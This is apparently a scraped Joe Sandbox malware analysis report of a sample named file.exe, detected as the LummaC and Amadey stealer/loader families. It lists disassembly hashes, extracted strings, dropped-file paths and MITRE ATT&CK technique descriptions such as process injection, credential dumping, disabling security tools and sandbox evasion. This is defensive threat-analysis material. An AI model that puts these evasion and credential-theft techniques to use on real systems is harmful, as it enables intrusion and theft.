Instruction ID: 669f6323aecc9c0791eb284ff53ce6047817e0d53dece793b2e01d703beb45d4
Opcode Fuzzy Hash: 67e2761aa238de69b444bea1d9d8a94d941eb7737ab3a852d27420446219d988
Instruction Fuzzy Hash: 0DA02230082B0C8A82003AB02200022338C0C822083C000B8820C0AE200E33E0A0C888

Function 0530E240 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf715432d78fbd87c55530a4e86ea64a43e7b19e6ad2255cb167c95efabe462f
Instruction ID: db98eabbc5097056ac1975de788617c5196dde284348de7e4516d13e524862fb
Opcode Fuzzy Hash: bf715432d78fbd87c55530a4e86ea64a43e7b19e6ad2255cb167c95efabe462f
Instruction Fuzzy Hash: 4590023105861DCB45403795740E555BB6C9A445557808151F54D915425E65681049A5

Non-executed Functions

Function 05305540 Relevance: 7.7, Strings: 6, Instructions: 167COMMON

Download Yara Rule

Strings

xw, xrefs: 053056B1
xw, xrefs: 0530559F
xw, xrefs: 05305778
xw, xrefs: 053055C5
xw, xrefs: 05305755
xw, xrefs: 0530562D

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$xw$xw
API String ID: 0-262273259
Opcode ID: 27ddf6acfa933c169c286e4b57190df78997221afbd062bda5a42a7eb241c544
Instruction ID: a71c8b9bea1e83c87d677b8fb9c61e1ae3989aa262f15426fa78bf320baeb70e
Opcode Fuzzy Hash: 27ddf6acfa933c169c286e4b57190df78997221afbd062bda5a42a7eb241c544
Instruction Fuzzy Hash: 4B5124357083048BC714AA29E17963A67ABAFC4312F256525EC07E7BD4EFB4CC018F92

Function 05305533 Relevance: 6.4, Strings: 5, Instructions: 144COMMON

Download Yara Rule

Strings

xw, xrefs: 053056B1
xw, xrefs: 0530559F
xw, xrefs: 053055C5
xw, xrefs: 05305755
xw, xrefs: 0530562D

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$xw
API String ID: 0-3939525216
Opcode ID: 33ab96d4658d8f2b5408c6c3c9a4141212ea0d1654d9a2b566fb0c07b3bd5e93
Instruction ID: 3c1cd9b1b395885fa5a612616865014cde886858d138509f76ce8e8a26c1f842
Opcode Fuzzy Hash: 33ab96d4658d8f2b5408c6c3c9a4141212ea0d1654d9a2b566fb0c07b3bd5e93
Instruction Fuzzy Hash: 884123317083108BC725AA28E67573A67ABAFC5312F156525EC07E7AD4EBB4CC008F52

Function 056E46E8 Relevance: 6.3, Strings: 5, Instructions: 80COMMON

Download Yara Rule

Strings

xw, xrefs: 056E472A
xw, xrefs: 056E47BD
xw, xrefs: 056E2265
xw, xrefs: 056E46F8
xw, xrefs: 056E478B

Memory Dump Source

Source File: 0000000A.00000002.2468459864.00000000056E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_56e0000_79cd489a19.jbxd

Similarity

API ID:
String ID: xw$xw$xw$xw$xw
API String ID: 0-3939525216
Opcode ID: 48791c48ad28b7c61f0b213bf95ca328e2db3132e49c9f77695e3117ae3431cd
Instruction ID: 1d5920550f01daccc4486c1666f151313ca9e57977b6de2346ce5ada7ff9efcb
Opcode Fuzzy Hash: 48791c48ad28b7c61f0b213bf95ca328e2db3132e49c9f77695e3117ae3431cd
Instruction Fuzzy Hash: 9741FA74A022188FEB64DF24E949B9D77B1FF88301F1041A5E849B7786DB30AE85CF41

Function 05302880 Relevance: 6.3, Strings: 5, Instructions: 59COMMON

Download Yara Rule

Strings

(o^q, xrefs: 053029FA
\s^q, xrefs: 05302E35
(o^q, xrefs: 05302A06
\s^q, xrefs: 053029EA
(o^q, xrefs: 05302B63

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$\s^q$\s^q
API String ID: 0-1845072702
Opcode ID: 02704816a1c0e5287383cc1b0c319d7df8097685fbf30124701c8543594398e5
Instruction ID: caa6e5df63ddcb6f1d9f2cbc2073789bff364160a18ae853952b91f8ce68c6e6
Opcode Fuzzy Hash: 02704816a1c0e5287383cc1b0c319d7df8097685fbf30124701c8543594398e5
Instruction Fuzzy Hash: 8111CA28B403158BCB245E6BC5ACA2B76DB7B88710F582836E519CB3D4DD61CC498351

Function 05302A30 Relevance: 6.3, Strings: 5, Instructions: 56COMMON

Download Yara Rule

Strings

(o^q, xrefs: 05302A45
(o^q, xrefs: 053029FA
(o^q, xrefs: 05302A55
\s^q, xrefs: 053029EA
\s^q, xrefs: 05302A30

Memory Dump Source

Source File: 0000000A.00000002.2465205579.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5300000_79cd489a19.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$\s^q$\s^q
API String ID: 0-1845072702
Opcode ID: 76c77cc9b08c822528691fc95343a81a566521655ed7f1c341c8a091a5f05fae
Instruction ID: 9043a392dbaf081be7470c722df15633c37c823cad4e2d565cfad0287ef5ab53
Opcode Fuzzy Hash: 76c77cc9b08c822528691fc95343a81a566521655ed7f1c341c8a091a5f05fae
Instruction Fuzzy Hash: 06118138A40216CFCB29CB65C16CA3E77A7BF84711F682865E406AB2E0CF70DD09CB51

Function 054CCCB0 Relevance: 5.2, Strings: 4, Instructions: 185COMMON

Download Yara Rule

Strings

(_^q, xrefs: 054CD375
(_^q, xrefs: 054CD3BB
(_^q, xrefs: 054CD3F1
(_^q, xrefs: 054CD36B

Memory Dump Source

Source File: 0000000A.00000002.2467016372.00000000054C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_54c0000_79cd489a19.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: aec1c1e61e4cfba00016e10b40de9427242b9a50fd8c1500c8c8fb950c062be5
Instruction ID: 2e8fd447198ef83e497fdf6655f074c9532246130b9781c773b41dd80d0ac8b8
Opcode Fuzzy Hash: aec1c1e61e4cfba00016e10b40de9427242b9a50fd8c1500c8c8fb950c062be5
Instruction Fuzzy Hash: 8F615D79B002048FC744EF68D4959AEBBB2FFC9304B1045ADE516AB3A5DB31DC42CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\79cd489a19.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d7a64ab6bf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre